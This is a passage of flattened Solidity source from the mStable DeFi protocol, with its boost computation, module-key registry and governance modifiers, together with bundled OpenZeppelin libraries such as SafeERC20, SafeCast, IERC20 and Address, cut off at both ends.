(newBoostedBalance != boostedBalance) { _totalBoostedSupply = _totalBoostedSupply - boostedBalance + newBoostedBalance; _boostedBalances[_account] = newBoostedBalance; if (newBoostedBalance > boostedBalance) { emit Transfer(address(0), _account, newBoostedBalance - boostedBalance); } else { emit Transfer(_account, address(0), boostedBalance - newBoostedBalance); } } } /** * @dev Computes the boost for * boost = min(m, max(1, 0.95 + c * min(voting_weight, f) / deposit^(3/4))) * @param _scaledDeposit deposit amount in terms of USD */ function _computeBoost(uint256 _scaledDeposit, uint256 _votingWeight) private view returns (uint256 boost) { if (_votingWeight == 0) return MIN_BOOST; // Compute balance to the power 3/4 uint256 sqrt1 = Root.sqrt(_scaledDeposit * 1e6); uint256 sqrt2 = Root.sqrt(sqrt1); uint256 denominator = sqrt1 * sqrt2; boost = (((StableMath.min(_votingWeight, MAX_VMTA) * boostCoeff) / 10) * 1e18) / denominator; boost = StableMath.min(MAX_BOOST, StableMath.max(MIN_BOOST, FLOOR + boost)); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { MassetHelpers } from "../../shared/MassetHelpers.sol"; /** * @title PlatformTokenVendor * @author mStable * @notice Stores platform tokens for distributing to StakingReward participants * @dev Only deploy this during the constructor of a given StakingReward contract */ contract PlatformTokenVendor { IERC20 public immutable platformToken; address public immutable parentStakingContract; /** @dev Simple constructor that stores the parent address */ constructor(IERC20 _platformToken) { parentStakingContract = msg.sender; platformToken = _platformToken; MassetHelpers.safeInfiniteApprove(address(_platformToken), msg.sender); } /** * @dev Re-approves the StakingReward contract to spend the platform token. * Just incase for some reason approval has been reset. */ function reApproveOwner() external { MassetHelpers.safeInfiniteApprove(address(platformToken), parentStakingContract); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require( initializing || isConstructor() || !initialized, "Contract instance has already been initialized" ); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC20.sol"; import "../../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint224 from uint256, reverting on * overflow (when the input is greater than largest uint224). * * Counterpart to Solidity's `uint224` operator. * * Requirements: * * - input must fit into 224 bits */ function toUint224(uint256 value) internal pure returns (uint224) { require(value <= type(uint224).max, "SafeCast: value doesn't fit in 224 bits"); return uint224(value); } /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value <= type(uint128).max, "SafeCast: value doesn't fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint96 from uint256, reverting on * overflow (when the input is greater than largest uint96). * * Counterpart to Solidity's `uint96` operator. * * Requirements: * * - input must fit into 96 bits */ function toUint96(uint256 value) internal pure returns (uint96) { require(value <= type(uint96).max, "SafeCast: value doesn't fit in 96 bits"); return uint96(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value <= type(uint64).max, "SafeCast: value doesn't fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value <= type(uint32).max, "SafeCast: value doesn't fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value <= type(uint16).max, "SafeCast: value doesn't fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value <= type(uint8).max, "SafeCast: value doesn't fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= type(int128).min && value <= type(int128).max, "SafeCast: value doesn't fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= type(int64).min && value <= type(int64).max, "SafeCast: value doesn't fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= type(int32).min && value <= type(int32).max, "SafeCast: value doesn't fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= type(int16).min && value <= type(int16).max, "SafeCast: value doesn't fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= type(int8).min && value <= type(int8).max, "SafeCast: value doesn't fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { // Note: Unsafe cast below is okay because `type(int256).max` is guaranteed to be positive require(value <= uint256(type(int256).max), "SafeCast: value doesn't fit in an int256"); return int256(value); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; /** * @title StableMath * @author mStable * @notice A library providing safe mathematical operations to multiply and * divide with standardised precision. * @dev Derives from OpenZeppelin's SafeMath lib and uses generic system * wide variables for managing precision. */ library StableMath { /** * @dev Scaling unit for use in specific calculations, * where 1 * 10**18, or 1e18 represents a unit '1' */ uint256 private constant FULL_SCALE = 1e18; /** * @dev Token Ratios are used when converting between units of bAsset, mAsset and MTA * Reasoning: Takes into account token decimals, and difference in base unit (i.e. grams to Troy oz for gold) * bAsset ratio unit for use in exact calculations, * where (1 bAsset unit * bAsset.ratio) / ratioScale == x mAsset unit */ uint256 private constant RATIO_SCALE = 1e8; /** * @dev Provides an interface to the scaling unit * @return Scaling unit (1e18 or 1 * 10**18) */ function getFullScale() internal pure returns (uint256) { return FULL_SCALE; } /** * @dev Provides an interface to the ratio unit * @return Ratio scale unit (1e8 or 1 * 10**8) */ function getRatioScale() internal pure returns (uint256) { return RATIO_SCALE; } /** * @dev Scales a given integer to the power of the full scale. * @param x Simple uint256 to scale * @return Scaled value a to an exact number */ function scaleInteger(uint256 x) internal pure returns (uint256) { return x * FULL_SCALE; } /*************************************** PRECISE ARITHMETIC ****************************************/ /** * @dev Multiplies two precise units, and then truncates by the full scale * @param x Left hand input to multiplication * @param y Right hand input to multiplication * @return Result after multiplying the two inputs and then dividing by the shared * scale unit */ function mulTruncate(uint256 x, uint256 y) internal pure returns (uint256) { return mulTruncateScale(x, y, FULL_SCALE); } /** * @dev Multiplies two precise units, and then truncates by the given scale. For example, * when calculating 90% of 10e18, (10e18 * 9e17) / 1e18 = (9e36) / 1e18 = 9e18 * @param x Left hand input to multiplication * @param y Right hand input to multiplication * @param scale Scale unit * @return Result after multiplying the two inputs and then dividing by the shared * scale unit */ function mulTruncateScale( uint256 x, uint256 y, uint256 scale ) internal pure returns (uint256) { // e.g. assume scale = fullScale // z = 10e18 * 9e17 = 9e36 // return 9e36 / 1e18 = 9e18 return (x * y) / scale; } /** * @dev Multiplies two precise units, and then truncates by the full scale, rounding up the result * @param x Left hand input to multiplication * @param y Right hand input to multiplication * @return Result after multiplying the two inputs and then dividing by the shared * scale unit, rounded up to the closest base unit. */ function mulTruncateCeil(uint256 x, uint256 y) internal pure returns (uint256) { // e.g. 8e17 * 17268172638 = 138145381104e17 uint256 scaled = x * y; // e.g. 138145381104e17 + 9.99...e17 = 138145381113.99...e17 uint256 ceil = scaled + FULL_SCALE - 1; // e.g. 13814538111.399...e18 / 1e18 = 13814538111 return ceil / FULL_SCALE; } /** * @dev Precisely divides two units, by first scaling the left hand operand. Useful * for finding percentage weightings, i.e. 8e18/10e18 = 80% (or 8e17) * @param x Left hand input to division * @param y Right hand input to division * @return Result after multiplying the left operand by the scale, and * executing the division on the right hand input. */ function divPrecisely(uint256 x, uint256 y) internal pure returns (uint256) { // e.g. 8e18 * 1e18 = 8e36 // e.g. 8e36 / 10e18 = 8e17 return (x * FULL_SCALE) / y; } /*************************************** RATIO FUNCS ****************************************/ /** * @dev Multiplies and truncates a token ratio, essentially flooring the result * i.e. How much mAsset is this bAsset worth? * @param x Left hand operand to multiplication (i.e Exact quantity) * @param ratio bAsset ratio * @return c Result after multiplying the two inputs and then dividing by the ratio scale */ function mulRatioTruncate(uint256 x, uint256 ratio) internal pure returns (uint256 c) { return mulTruncateScale(x, ratio, RATIO_SCALE); } /** * @dev Multiplies and truncates a token ratio, rounding up the result * i.e. How much mAsset is this bAsset worth? * @param x Left hand input to multiplication (i.e Exact quantity) * @param ratio bAsset ratio * @return Result after multiplying the two inputs and then dividing by the shared * ratio scale, rounded up to the closest base unit. */ function mulRatioTruncateCeil(uint256 x, uint256 ratio) internal pure returns (uint256) { // e.g. How much mAsset should I burn for this bAsset (x)? // 1e18 * 1e8 = 1e26 uint256 scaled = x * ratio; // 1e26 + 9.99e7 = 100..00.999e8 uint256 ceil = scaled + RATIO_SCALE - 1; // return 100..00.999e8 / 1e8 = 1e18 return ceil / RATIO_SCALE; } /** * @dev Precisely divides two ratioed units, by first scaling the left hand operand * i.e. How much bAsset is this mAsset worth? * @param x Left hand operand in division * @param ratio bAsset ratio * @return c Result after multiplying the left operand by the scale, and * executing the division on the right hand input. */ function divRatioPrecisely(uint256 x, uint256 ratio) internal pure returns (uint256 c) { // e.g. 1e14 * 1e8 = 1e22 // return 1e22 / 1e12 = 1e10 return (x * RATIO_SCALE) / ratio; } /*************************************** HELPERS ****************************************/ /** * @dev Calculates minimum of two numbers * @param x Left hand input * @param y Right hand input * @return Minimum of the two inputs */ function min(uint256 x, uint256 y) internal pure returns (uint256) { return x > y ? y : x; } /** * @dev Calculated maximum of two numbers * @param x Left hand input * @param y Right hand input * @return Maximum of the two inputs */ function max(uint256 x, uint256 y) internal pure returns (uint256) { return x > y ? x : y; } /** * @dev Clamps a value to an upper bound * @param x Left hand input * @param upperBound Maximum possible value to return * @return Input x clamped to a maximum value, upperBound */ function clamp(uint256 x, uint256 upperBound) internal pure returns (uint256) { return x > upperBound ? upperBound : x; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; import { ModuleKeys } from "./ModuleKeys.sol"; import { INexus } from "../interfaces/INexus.sol"; /** * @title ImmutableModule * @author mStable * @dev Subscribes to module updates from a given publisher and reads from its registry. * Contract is used for upgradable proxy contracts. */ abstract contract ImmutableModule is ModuleKeys { INexus public immutable nexus; /** * @dev Initialization function for upgradable proxy contracts * @param _nexus Nexus contract address */ constructor(address _nexus) { require(_nexus != address(0), "Nexus address is zero"); nexus = INexus(_nexus); } /** * @dev Modifier to allow function calls only from the Governor. */ modifier onlyGovernor() { _onlyGovernor(); _; } function _onlyGovernor() internal view { require(msg.sender == _governor(), "Only governor can execute"); } /** * @dev Modifier to allow function calls only from the Governor or the Keeper EOA. */ modifier onlyKeeperOrGovernor() { _keeperOrGovernor(); _; } function _keeperOrGovernor() internal view { require(msg.sender == _keeper() || msg.sender == _governor(), "Only keeper or governor"); } /** * @dev Modifier to allow function calls only from the Governance. * Governance is either Governor address or Governance address. */ modifier onlyGovernance() { require( msg.sender == _governor() || msg.sender == _governance(), "Only governance can execute" ); _; } /** * @dev Returns Governor address from the Nexus * @return Address of Governor Contract */ function _governor() internal view returns (address) { return nexus.governor(); } /** * @dev Returns Governance Module address from the Nexus * @return Address of the Governance (Phase 2) */ function _governance() internal view returns (address) { return nexus.getModule(KEY_GOVERNANCE); } /** * @dev Return Keeper address from the Nexus. * This account is used for operational transactions that * don't need multiple signatures. * @return Address of the Keeper externally owned account. */ function _keeper() internal view returns (address) { return nexus.getModule(KEY_KEEPER); } /** * @dev Return SavingsManager Module address from the Nexus * @return Address of the SavingsManager Module contract */ function _savingsManager() internal view returns (address) { return nexus.getModule(KEY_SAVINGS_MANAGER); } /** * @dev Return Recollateraliser Module address from the Nexus * @return Address of the Recollateraliser Module contract (Phase 2) */ function _recollateraliser() internal view returns (address) { return nexus.getModule(KEY_RECOLLATERALISER); } /** * @dev Return Liquidator Module address from the Nexus * @return Address of the Liquidator Module contract */ function _liquidator() internal view returns (address) { return nexus.getModule(KEY_LIQUIDATOR); } /** * @dev Return ProxyAdmin Module address from the Nexus * @return Address of the ProxyAdmin Module contract */ function _proxyAdmin() internal view returns (address) { return nexus.getModule(KEY_PROXY_ADMIN); } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; /** * @title ModuleKeys * @author mStable * @notice Provides system wide access to the byte32 represntations of system modules * This allows each system module to be able to reference and update one another in a * friendly way * @dev keccak256() values are hardcoded to avoid re-evaluation of the constants at runtime. */ contract ModuleKeys { // Governance // =========== // keccak256("Governance"); bytes32 internal constant KEY_GOVERNANCE = 0x9409903de1e6fd852dfc61c9dacb48196c48535b60e25abf92acc92dd689078d; //keccak256("Staking"); bytes32 internal constant KEY_STAKING = 0x1df41cd916959d1163dc8f0671a666ea8a3e434c13e40faef527133b5d167034; //keccak256("ProxyAdmin"); bytes32 internal constant KEY_PROXY_ADMIN = 0x96ed0203eb7e975a4cbcaa23951943fa35c5d8288117d50c12b3d48b0fab48d1; // mStable // ======= // keccak256("OracleHub"); bytes32 internal constant KEY_ORACLE_HUB = 0x8ae3a082c61a7379e2280f3356a5131507d9829d222d853bfa7c9fe1200dd040; // keccak256("Manager"); bytes32 internal constant KEY_MANAGER = 0x6d439300980e333f0256d64be2c9f67e86f4493ce25f82498d6db7f4be3d9e6f; //keccak256("Recollateraliser"); bytes32 internal constant KEY_RECOLLATERALISER = 0x39e3ed1fc335ce346a8cbe3e64dd525cf22b37f1e2104a755e761c3c1eb4734f; //keccak256("MetaToken"); bytes32 internal constant KEY_META_TOKEN = 0xea7469b14936af748ee93c53b2fe510b9928edbdccac3963321efca7eb1a57a2; // keccak256("SavingsManager"); bytes32 internal constant KEY_SAVINGS_MANAGER = 0x12fe936c77a1e196473c4314f3bed8eeac1d757b319abb85bdda70df35511bf1; // keccak256("Liquidator"); bytes32 internal constant KEY_LIQUIDATOR = 0x1e9cb14d7560734a61fa5ff9273953e971ff3cd9283c03d8346e3264617933d4; // keccak256("InterestValidator"); bytes32 internal constant KEY_INTEREST_VALIDATOR = 0xc10a28f028c7f7282a03c90608e38a4a646e136e614e4b07d119280c5f7f839f; // keccak256("Keeper"); bytes32 internal constant KEY_KEEPER = 0x4f78afe9dfc9a0cb0441c27b9405070cd2a48b490636a7bdd09f355e33a5d7de; } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; /** * @title INexus * @dev Basic interface for interacting with the Nexus i.e. SystemKernel */ interface INexus { function governor() external view returns (address); function getModule(bytes32 key) external view returns (address); function proposeModule(bytes32 _key, address _addr) external; function cancelProposedModule(bytes32 _key) external; function acceptProposedModule(bytes32 _key) external; function acceptProposedModules(bytes32[] calldata _keys) external; function requestLockModule(bytes32 _key) external; function cancelLockModule(bytes32 _key) external; function lockModule(bytes32 _key) external; } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; interface IBoostDirector { function getBalance(address _user) external returns (uint256); function setDirection( address _old, address _new, bool _pokeNew ) external; function whitelistVaults(address[] calldata _vaults) external; } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. * * _Since v2.5.0:_ this module is now much more gas efficient, given net gas * metering changes introduced in the Istanbul hardfork. */ contract InitializableReentrancyGuard { bool private _notEntered; function _initializeReentrancyGuard() internal { // Storing an initial non-zero value makes deployment a bit more // expensive, but in exchange the refund on every call to nonReentrant // will be lower in amount. Since refunds are capped to a percetange of // the total transaction's gas, it is best to keep them low in cases // like this one, to increase the likelihood of the full refund coming // into effect. _notEntered = true; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; library Root { /** * @dev Returns the square root of a given number * @param x Input * @return y Square root of Input */ function sqrt(uint256 x) internal pure returns (uint256 y) { if (x == 0) return 0; else { uint256 xx = x; uint256 r = 1; if (xx >= 0x100000000000000000000000000000000) { xx >>= 128; r <<= 64; } if (xx >= 0x10000000000000000) { xx >>= 64; r <<= 32; } if (xx >= 0x100000000) { xx >>= 32; r <<= 16; } if (xx >= 0x10000) { xx >>= 16; r <<= 8; } if (xx >= 0x100) { xx >>= 8; r <<= 4; } if (xx >= 0x10) { xx >>= 4; r <<= 2; } if (xx >= 0x8) { r <<= 1; } r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; r = (r + x / r) >> 1; // Seven iterations should be enough uint256 r1 = x / r; return uint256(r < r1 ? r : r1); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: AGPL-3.0-or-later pragma solidity 0.8.6; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /** * @title MassetHelpers * @author mStable * @notice Helper functions to facilitate minting and redemption from off chain * @dev VERSION: 1.0 * DATE: 2020-03-28 */ library MassetHelpers { using SafeERC20 for IERC20; function transferReturnBalance( address _sender, address _recipient, address _bAsset, uint256 _qty ) internal returns (uint256 receivedQty, uint256 recipientBalance) { uint256 balBefore = IERC20(_bAsset).balanceOf(_recipient); IERC20(_bAsset).safeTransferFrom(_sender, _recipient, _qty); recipientBalance = 